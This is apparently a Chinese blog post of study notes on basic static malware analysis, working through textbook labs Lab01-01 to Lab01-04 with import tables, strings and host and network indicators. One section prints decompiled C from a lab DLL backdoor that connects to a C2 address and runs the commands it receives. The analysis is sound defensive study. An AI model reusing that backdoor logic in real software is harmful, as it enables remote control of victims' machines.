Fork me on GitHub

静态分析基础技术


知识点

我觉得安全圈的思路都是差不多的,跟渗透测试一样,对一个恶意软件的分析也需要前期的信息收集阶段来帮助我们对目标有一个大致的了解和认识,方便确定下一步工作的方向。

Virus Total:首先,拿到一个恶意软件如果不涉密的话可以直接上传到VT上看一下,这样差不多能确定此恶意软件的最早爆发日期和各种关键的信息。

哈希值:hash值就相当于恶意软件的指纹,是一个很重要的信息。

关键字符串:可以使用IDA Pro或者Strings软件来查看程序中关键的字符串。

加壳与代码混淆:一般来说,对软件加壳可以压缩软件代码占用的磁盘空间,使软件体积更小,另一方面,有的壳可以加密程序自身信息,是得程序难以通过逆向手段来对程序进行分析,是对程序本身的一种保护,大部分形况下加壳技术用来保护程序版权,但是恶意软件使用加壳方式来隐藏恶意代码,使得代码逻辑难以分析,这时候就需要我们使用已有的脱壳软件或者自己写脱壳脚本对软件进行脱壳还原。

使用PEview查看IMAGE_SECTION_HEADER.text节头部信息,如果虚拟大小比原始大小大得多,意味着这个程序在内存中占用的空间比在磁盘上多得多,那么这个程序很可能是加壳的程序,.data节是例外。

PE文件格式:PE文件格式就不多说了,网上有很多资料,要熟悉PE格式,方便后面的学习。

静态链接|动态链接|运行时链接|链接库与函数:程序的导入表和导出表和一些用到的库对我们而言十分重要,静态链接由于重复占用内存因而不常见,运行时链接在正常的程序中一般见不到,但是在恶意软件中可能会出现,至于当需要用到函数的时候才会使用链接,增强了隐蔽性。另外一些Windows API允许调用者导入没有在程序头文件中导入的函数,最常见的两个是LoadLibraryGetProcAddress,有时还可能会出现LdrGetProcAddressLdrLoadDll,当程序中出现这些函数库时,安全人员无法通过静态分析的手法来分析程序链接的函数。

Dependency Walker: 一款可以查看可执行文件动态链接函数的程序,下载链接。

Resource Hacker:使用此工具来产看程序的资源节。

导入函数和导出函数是为了提高代码复用性的一种手段,导出函数通常出现在dll文件中,而exe文件中一般没有导出函数,如果发现一个exe文件有很多导出函数的话我们就需要多多留意。

编译时间:使用Delphi语言编写的程序有着统一的编译时间:1992年6月19日,所以说,如果有一个程序的编译时间为1992年6月19日,那么这个程序很可能是用Delphi编写的

课后练习

Lab1-1

这个实验使用Lab01-01.exe和Lab01-01.dll文件,使用本章描述的工具和技术来获取关于这些文件的信息。

1.将文件上传至VT进行分析并产看报告,文件匹配到了已有的反病毒文件特征了吗?

按照题目要求上传至VT查看结果即可。

2.这些文件是什么时候编译的?

其实VT上已经显示了此程序的MetaData即元信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
CodeSize	4096
EntryPoint 0x1820
FileType Win32 EXE
FileTypeExtension exe
ImageFileCharacteristics No relocs, Executable, No line numbers, No symbols, 32-bit
ImageVersion 0.0
InitializedDataSize 8192
LinkerVersion 6.0
MIMEType application/octet-stream
MachineType Intel 386 or later, and compatibles
OSVersion 4.0
PEType PE32
Subsystem Windows command line
SubsystemVersion 4.0
TimeStamp 2010:12:19 17:16:19+01:00
UninitializedDataSize 0

这里已经显示了程序的编译时间为2010:12:19,另外可以通过软件PEexplore来查看时间戳:

3.这两个文件中是否存在迹象说明他们是否被加壳或者混淆了?如果是,这些迹象在哪里。

VT上显示的结果为此程序加壳,壳是穿山甲(Armadillo)

1
2
Packers
PEiD Armadillo v1.71

但实际山此程序并没有加壳,可能是由于VT是采用机器学习来判断程序是否加壳存在一定的误判率。

.text节表信息:

Name Virtual Address Virtual Size Raw Size Entropy
.text 4096 2416 4096 4.45

PEiD查看查壳发现程序无壳。

4.是否有导入函数显示出这个恶意代码是做什么的?如果是,是哪些导入函数。

我个人习惯直接用IDA Pro查看导入函数:

Lab01-01.exe:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Address	Ordinal	Name	Library
00402000 CloseHandle KERNEL32
00402004 UnmapViewOfFile KERNEL32
00402008 IsBadReadPtr KERNEL32
0040200C MapViewOfFile KERNEL32
00402010 CreateFileMappingA KERNEL32
00402014 CreateFileA KERNEL32
00402018 FindClose KERNEL32
0040201C FindNextFileA KERNEL32
00402020 FindFirstFileA KERNEL32
00402024 CopyFileA KERNEL32
0040202C malloc MSVCRT
00402030 exit MSVCRT
00402034 _exit MSVCRT
00402038 _XcptFilter MSVCRT
0040203C __p___initenv MSVCRT
00402040 __getmainargs MSVCRT
00402044 _initterm MSVCRT
00402048 __setusermatherr MSVCRT
0040204C _adjust_fdiv MSVCRT
00402050 __p__commode MSVCRT
00402054 __p__fmode MSVCRT
00402058 __set_app_type MSVCRT
0040205C _except_handler3 MSVCRT
00402060 _controlfp MSVCRT
00402064 _stricmp MSVCRT

Lab01-01.dll:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Address	Ordinal	Name	Library
10002000 Sleep KERNEL32
10002004 CreateProcessA KERNEL32
10002008 CreateMutexA KERNEL32
1000200C OpenMutexA KERNEL32
10002010 CloseHandle KERNEL32
10002018 _adjust_fdiv MSVCRT
1000201C malloc MSVCRT
10002020 _initterm MSVCRT
10002024 free MSVCRT
10002028 strncmp MSVCRT
10002030 23 socket WS2_32
10002034 115 WSAStartup WS2_32
10002038 11 inet_addr WS2_32
1000203C 4 connect WS2_32
10002040 19 send WS2_32
10002044 22 shutdown WS2_32
10002048 16 recv WS2_32
1000204C 3 closesocket WS2_32
10002050 116 WSACleanup WS2_32
10002054 9 htons WS2_32

可以看出此应用程序导入表中含有对文件操作的函数,dll文件中有网络连接相关的函数。

5.是否有任何其他文件或基于主机的迹象,让你可以在受感染系统上查找?

通过查看程序中的字符串,很容易可以发现如下字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
.data:0040304C NewFileName     db 'C:\windows\system32\kerne132.dll',0
.data:0040304C ; DATA XREF: _main+3AA↑o
.data:0040306D align 10h
.data:00403070 dword_403070 dd 6E72654Bh ; DATA XREF: _main+2DF↑r
.data:00403074 dword_403074 dd 32336C65h ; DATA XREF: _main+2E7↑r
.data:00403078 byte_403078 db 2Eh ; DATA XREF: _main+2F2↑r
.data:00403079 align 4
.data:0040307C ; CHAR ExistingFileName[]
.data:0040307C ExistingFileName db 'Lab01-01.dll',0 ; DATA XREF: _main+A7↑o
.data:0040307C ; _main+3AF↑o
.data:00403089 align 4
.data:0040308C ; CHAR FileName[]
.data:0040308C FileName db 'C:\Windows\System32\Kernel32.dll',0

因此我们可以查看C:\windows\system32\kerne132.dll文件是否存在,这里的kernel的最后的l用数字1代替了。

6.是否有基于网络的迹象,可以用来发现受感染机器上的这个恶意代码?

通过IDA查看dll文件的伪C代码,可以才看到在DllMain()函数中存在如下部分代码用于网络连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if ( v3 != -1 )
{
name.sa_family = 2;
*(_DWORD *)&name.sa_data[2] = inet_addr(cp);
*(_WORD *)name.sa_data = htons(0x50u);
if ( connect(v3, &name, 16) != -1 )
{
while ( send(v3, ::buf, strlen(::buf), 0) != -1 && shutdown(v3, 1) != -1 )
{
if ( recv(v3, &buf, 4096, 0) > 0 )
{
if ( !strncmp(Str1, &buf, 5u) )
{
Sleep(0x60000u);
}
else if ( !strncmp(aExec, &buf, 4u) )
{
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 68;
CreateProcessA(0, &CommandLine, 0, 0, 1, 0x8000000u, 0, 0, &StartupInfo, &ProcessInformation);
}

通过双击cp可以看到如下结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.data:10026010 ; char aExec[]
.data:10026010 aExec db 'exec',0 ; DATA XREF: DllMain(x,x,x)+15B↑o
.data:10026015 align 4
.data:10026018 ; char Str1[]
.data:10026018 Str1 db 'sleep',0 ; DATA XREF: DllMain(x,x,x)+136↑o
.data:1002601E align 10h
.data:10026020 ; char buf[]
.data:10026020 buf db 'hello',0 ; DATA XREF: DllMain(x,x,x):loc_100010E9↑o
.data:10026020 ; DllMain(x,x,x)+EB↑o
.data:10026026 align 4
.data:10026028 ; char cp[]
.data:10026028 cp db '127.26.152.13',0 ; DATA XREF: DllMain(x,x,x)+93↑o
.data:10026036 align 4
.data:10026038 ; CHAR Name[]
.data:10026038 Name db 'SADFHUHF',0 ; DATA XREF: DllMain(x,x,x)+38↑o
.data:10026038

因此我们了解到程序会向地址127.26.152.13建立网络连接,这一点可以作为网络特征。

7.你猜这些文件的目的是什么?

dll文件类似木马程序,可以执行命令或者进入休眠,127.26.152.13相当于C2服务器,exe文件是用来释放安装此dll文件的。

Lab1-2

分析Lab01-02.exe文件。

1.将此文件上传到VT并查看是否有匹配到的反病毒特征。

按照题目要求上传至VT查看结果即可。

2.这个文件是否有加壳或混淆的情况?请指明。如果该文件被加壳,请进行脱壳。

把这个程序丢进IDA看一下发现弹出了一个警告框,提示该程序可能加了壳:

PEiD查壳得知这个壳是UPX

下载UPX脱壳工具使用命令upx -d Lab01-02.exe对程序脱脱壳,脱壳后发现程序由原来的3kb变为了16kb

3.有没有任何导入函数能暗示出这个程序的功能,如果有,这些导入函数是什么,给了你什么信息?

将脱壳后的程序放入IDA中查看导入函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Address	Ordinal	Name	Library
00402000 CreateServiceA ADVAPI32
00402004 StartServiceCtrlDispatcherA ADVAPI32
00402008 OpenSCManagerA ADVAPI32
00402010 SystemTimeToFileTime KERNEL32
00402014 GetModuleFileNameA KERNEL32
00402018 CreateWaitableTimerA KERNEL32
0040201C ExitProcess KERNEL32
00402020 OpenMutexA KERNEL32
00402024 SetWaitableTimer KERNEL32
00402028 WaitForSingleObject KERNEL32
0040202C CreateMutexA KERNEL32
00402030 CreateThread KERNEL32
00402038 _exit MSVCRT
0040203C _XcptFilter MSVCRT
00402040 exit MSVCRT
00402044 __p___initenv MSVCRT
00402048 __getmainargs MSVCRT
0040204C _initterm MSVCRT
00402050 __setusermatherr MSVCRT
00402054 _adjust_fdiv MSVCRT
00402058 __p__commode MSVCRT
0040205C __p__fmode MSVCRT
00402060 __set_app_type MSVCRT
00402064 _except_handler3 MSVCRT
00402068 _controlfp MSVCRT
00402070 InternetOpenUrlA WININET
00402074 InternetOpenA WININET

其中有一些创建服务的函数CreateService和打开一个URL的网络操作函数InternetOpenUrl需要我们注意。

4.有哪些基于主机或者网络的特征可以被用来确定被这个恶意代码所感染的机器?

通过IDA分析发现程序指定的URL为:

1
http://www.malwareanalysisbook.com

程序会在计算机上创建一个名为MalService的服务,且程序会创建一个互斥量HGL345

可通过如上特征确定被此恶意代码感染的机器。

Lab1-3

分析Lab01-03.exe文件。

1.将此文件上传到VT并查看是否有匹配到的反病毒特征。

按照题目要求上传至VT查看结果即可。

2.这个文件是否有加壳或混淆的情况?请指明。如果该文件被加壳,请进行脱壳。

用IDA打开此文件时同样弹窗警告该文件可能已被加壳,用PEiD无法识别程序的壳。

3.有没有任何导入函数能暗示出这个程序的功能,如果有,这些导入函数是什么,给了你什么信息?

暂时上不了网,这个先放一放。

4.有哪些基于主机或者网络的特征可以被用来确定被这个恶意代码所感染的机器?

暂未脱壳

Lab1-4

分析Lab01-04.exe文件。

1.将此文件上传到VT并查看是否有匹配到的反病毒特征。

按照题目要求上传至VT查看结果即可。

2.这个文件是否有加壳或混淆的情况?请指明。如果该文件被加壳,请进行脱壳。

此程序没有加壳迹象。

3.这个文件是什么时候被编译的?

PE Explore显示此程序的编译时间是2019年8月30日,显然这个时间戳是被人为修改过的。

4.有没有任何导入函数能暗示出这个程序的功能,如果有,这些导入函数是什么,给了你什么信息?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Address	Ordinal	Name	Library
00402000 OpenProcessToken ADVAPI32
00402004 LookupPrivilegeValueA ADVAPI32
00402008 AdjustTokenPrivileges ADVAPI32
00402010 GetProcAddress KERNEL32
00402014 LoadLibraryA KERNEL32
00402018 WinExec KERNEL32
0040201C WriteFile KERNEL32
00402020 CreateFileA KERNEL32
00402024 SizeofResource KERNEL32
00402028 CreateRemoteThread KERNEL32
0040202C FindResourceA KERNEL32
00402030 GetModuleHandleA KERNEL32
00402034 GetWindowsDirectoryA KERNEL32
00402038 MoveFileA KERNEL32
0040203C GetTempPathA KERNEL32
00402040 GetCurrentProcess KERNEL32
00402044 OpenProcess KERNEL32
00402048 CloseHandle KERNEL32
0040204C LoadResource KERNEL32
00402054 _snprintf MSVCRT
00402058 _exit MSVCRT
0040205C _XcptFilter MSVCRT
00402060 exit MSVCRT
00402064 __p___initenv MSVCRT
00402068 __getmainargs MSVCRT
0040206C _initterm MSVCRT
00402070 __setusermatherr MSVCRT
00402074 _adjust_fdiv MSVCRT
00402078 __p__commode MSVCRT
0040207C __p__fmode MSVCRT
00402080 __set_app_type MSVCRT
00402084 _except_handler3 MSVCRT
00402088 _controlfp MSVCRT
0040208C _stricmp MSVCRT

根据以上的部分函数,猜测此程序可以创建文件,进行进程的操作还可以进行权限Privilege的修改

5.有哪些基于主机或者网络的特征可以被用来确定被这个恶意代码所感染的机器?

代码data节含有如下重要信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
.data:0040302C aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_401174+1B↑o
.data:0040303D align 10h
.data:00403040 ; CHAR LibFileName[]
.data:00403040 LibFileName db 'sfc_os.dll',0 ; DATA XREF: sub_401174+2F↑o
.data:0040304B align 4
.data:0040304C aSystem32Wupdmg db '\system32\wupdmgr.exe',0
.data:0040304C ; DATA XREF: sub_4011FC+7D↑o
.data:00403062 align 4
.data:00403064 ; char Format[]
.data:00403064 Format db '%s%s',0 ; DATA XREF: sub_4011FC+89↑o
.data:00403069 align 4
.data:0040306C ; CHAR Type[]
.data:0040306C Type db 'BIN',0 ; DATA XREF: sub_4011FC+AE↑o
.data:00403070 ; CHAR Name[]
.data:00403070 Name db '#101',0 ; DATA XREF: sub_4011FC+B3↑o
.data:00403075 align 4
.data:00403078 ; CHAR ProcName[]
.data:00403078 ProcName db 'EnumProcessModules',0
.data:00403078 ; DATA XREF: _main+5A↑o
.data:0040308B align 4
.data:0040308C ; CHAR aPsapiDll[]
.data:0040308C aPsapiDll db 'psapi.dll',0 ; DATA XREF: _main+5F↑o
.data:00403096 align 4
.data:00403098 ; CHAR aGetmodulebasen[]
.data:00403098 aGetmodulebasen db 'GetModuleBaseNameA',0
.data:00403098 ; DATA XREF: _main+76↑o
.data:004030AB align 4
.data:004030AC ; CHAR aPsapiDll_0[]
.data:004030AC aPsapiDll_0 db 'psapi.dll',0 ; DATA XREF: _main+7B↑o
.data:004030B6 align 4
.data:004030B8 ; CHAR aEnumprocesses[]
.data:004030B8 aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: _main+92↑o
.data:004030C6 align 4
.data:004030C8 ; CHAR aPsapiDll_1[]
.data:004030C8 aPsapiDll_1 db 'psapi.dll',0 ; DATA XREF: _main+97↑o
.data:004030D2 align 4
.data:004030D4 aSystem32Wupdmg_0 db '\system32\wupdmgr.exe',0
.data:004030D4 ; DATA XREF: _main+1C8↑o
.data:004030EA align 4
.data:004030EC ; char aSS_0[]
.data:004030EC aSS_0 db '%s%s',0 ; DATA XREF: _main+1D4↑o
.data:004030F1 align 4
.data:004030F4 aWinupExe db '\winup.exe',0 ; DATA XREF: _main+200↑o
.data:004030FF align 10h
.data:00403100 ; char aSS_1[]
.data:00403100 aSS_1 db '%s%s',0 ; DATA XREF: _main+20C↑o
.data:00403105 align 10h
.data:00403110 dword_403110 dd 1 ; DATA XREF: start+6E↑r
.data:00403114 align 10h

根据以上信息和汇编代码猜测病毒会在\system32目录下创建wupdmgr.exe文件,并尝试执行此程序,如果执行成功,则函数sub_401174返回0

还有一个隐藏在资源节的PE文件,用二进制模式打开后可以看到如下文本

6.这个文件在资源段包含一个资源。使用Resource Hacker工具来检查资源,然后抽取资源。从资源中你能发现什么吗?

使用Resource Hacker可以发现该程序的资源节存在一个可执行程序,程序指向一个网址并从该网址下载文件,但下载的文件内容未知。


本章结束🎊

您的支持是我最大的动力🍉